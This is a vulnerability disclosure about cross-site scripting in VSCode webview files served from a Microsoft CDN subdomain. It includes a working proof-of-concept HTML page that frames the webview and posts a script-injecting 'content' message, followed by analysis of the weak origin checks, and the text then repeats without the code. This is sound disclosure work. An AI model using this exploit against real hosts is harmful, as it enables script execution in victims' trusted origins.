Summary
Attackers can gain XSS under origins that host VSCode Webframe assets.
Severity
High - Attackers can gain XSS by sending a "content" message [src ref of message handling code].
Proof of Concept
The following gaining XSS within the Microsoft's CDN domain 0cd18rb8n09tib8mu7pbka2qsigjnttsjgqc2tbm1ia3tdpvb15s.vscode-cdn.net:
- Save the following to /tmp/exploit.html:
<html><body></body>
<script>
window.addEventListener("message",(e) => {
if(e.data.channel === "webview-ready") {
console.log("Got webview ready message, sending XSS payload");
contentToInject = `\u003cscript>document.write("XSS in origin " + window.origin);\u003c/script>`
e.ports[0].postMessage({channel:"content",args:{
confirmBeforeClosing:'123',
contents:contentToInject,
options:{allowScripts:true},
}});
}
});
f = document.createElement("iframe");
f.src = "https://0cd18rb8n09tib8mu7pbka2qsigjnttsjgqc2tbm1ia3tdpvb15s.vscode-cdn.net/insider/11bfd76a61a299156a9f3138ecfad70937af3527/out/vs/workbench/contrib/webview/browser/pre/index-no-csp.html?id=f8691433-a520-4c28-b00f-37825a38169c&origin=2a92c1b5-a618-4d6f-aba2-34d58d2dfa85&swVersion=4&extensionId=&platform=browser&vscode-resource-base-authority=vscode-resource.vscode-cdn.net&parentOrigin=*&webOrigin=jtaft&disableServiceWorker=true";
document.body.appendChild(f);
</script>
</html>
- Navigate to file:///tmp/exploit.html
- Note XSS occurred in the subdomain https://0cd18rb8n09tib8mu7pbka2qsigjnttsjgqc2tbm1ia3tdpvb15s.vscode-cdn.net/
Further Analysis
VSCode packages webview files along with the rest of VSCode web assets. These web view files are often served under the same domain serving VSCode, or subdomain of the editor.
Malicious sites can iframe the sensitive web view pages and gain XSS by sending a "content" message [src ref of message handling code].
VSCode attempts to limit which origins can send messages to the page (source code ref).
Two vulnerabilities exist within the hostname checks:
-
Missing Schema Check: The hostname checks don't take into account schemas. An attacker can send a message from a spoofed HTTP page, to the vulnerable HTTPS webview page, gaining XSS under the HTTPS origin serving the webview file.
-
SHA256 Collision in Hostname Checks: An attacker would need to find a sha256 hash of the parentOrigin and origin parameter values, which matches the hostname of the file serving the webview. Finding a collision attack is likely infeasible.
Additionally, we observed two common vulnerability patterns in systems, due to the way VSCode builds are produced & lack of configuration VSCode offers around webview origin checks:
-
Wildcard Sensitive Subdomains serve Asset Files: Webview files may be served from a sensitive sub-domain as VSCode. Often, systems are configured with wildcard subdomains, which map to the same asset files.
Attackers can leverage this to bypass hostname validation checks, so the webview script is initialized on a targeted security sensitive subdomain.
In the Proof of Concept for Microsoft CDN, this was used to gain XSS. The fields "origin" and and "parentOrigin" query parameters are used in a sha256 calculation. The message origin check then allows requests from hostnames that begin with that value. Since we can control the subdomain where the WebView page is hosted from, we can pass the check.
-
Replacement of Code due to Unconfigurability: Due to the rigidity of the host validation code, it's often replaced by applications.
Timeline
Date reported: 09/29/2023
Date fixed:
Date disclosed: 1/4/2024
justintaft Finder
Summary
Attackers can gain XSS under origins that host VSCode Webframe assets.
Severity
High - Attackers can gain XSS by sending a "content" message [src ref of message handling code].
Proof of Concept
The following gaining XSS within the Microsoft's CDN domain 0cd18rb8n09tib8mu7pbka2qsigjnttsjgqc2tbm1ia3tdpvb15s.vscode-cdn.net:
Further Analysis
VSCode packages webview files along with the rest of VSCode web assets. These web view files are often served under the same domain serving VSCode, or subdomain of the editor.
Malicious sites can iframe the sensitive web view pages and gain XSS by sending a "content" message [src ref of message handling code].
VSCode attempts to limit which origins can send messages to the page (source code ref).
Two vulnerabilities exist within the hostname checks:
Missing Schema Check: The hostname checks don't take into account schemas. An attacker can send a message from a spoofed HTTP page, to the vulnerable HTTPS webview page, gaining XSS under the HTTPS origin serving the webview file.
SHA256 Collision in Hostname Checks: An attacker would need to find a sha256 hash of the parentOrigin and origin parameter values, which matches the hostname of the file serving the webview. Finding a collision attack is likely infeasible.
Additionally, we observed two common vulnerability patterns in systems, due to the way VSCode builds are produced & lack of configuration VSCode offers around webview origin checks:
Wildcard Sensitive Subdomains serve Asset Files: Webview files may be served from a sensitive sub-domain as VSCode. Often, systems are configured with wildcard subdomains, which map to the same asset files.
Attackers can leverage this to bypass hostname validation checks, so the webview script is initialized on a targeted security sensitive subdomain.
In the Proof of Concept for Microsoft CDN, this was used to gain XSS. The fields "origin" and and "parentOrigin" query parameters are used in a sha256 calculation. The message origin check then allows requests from hostnames that begin with that value. Since we can control the subdomain where the WebView page is hosted from, we can pass the check.
Replacement of Code due to Unconfigurability: Due to the rigidity of the host validation code, it's often replaced by applications.
Timeline
Date reported: 09/29/2023
Date fixed:
Date disclosed: 1/4/2024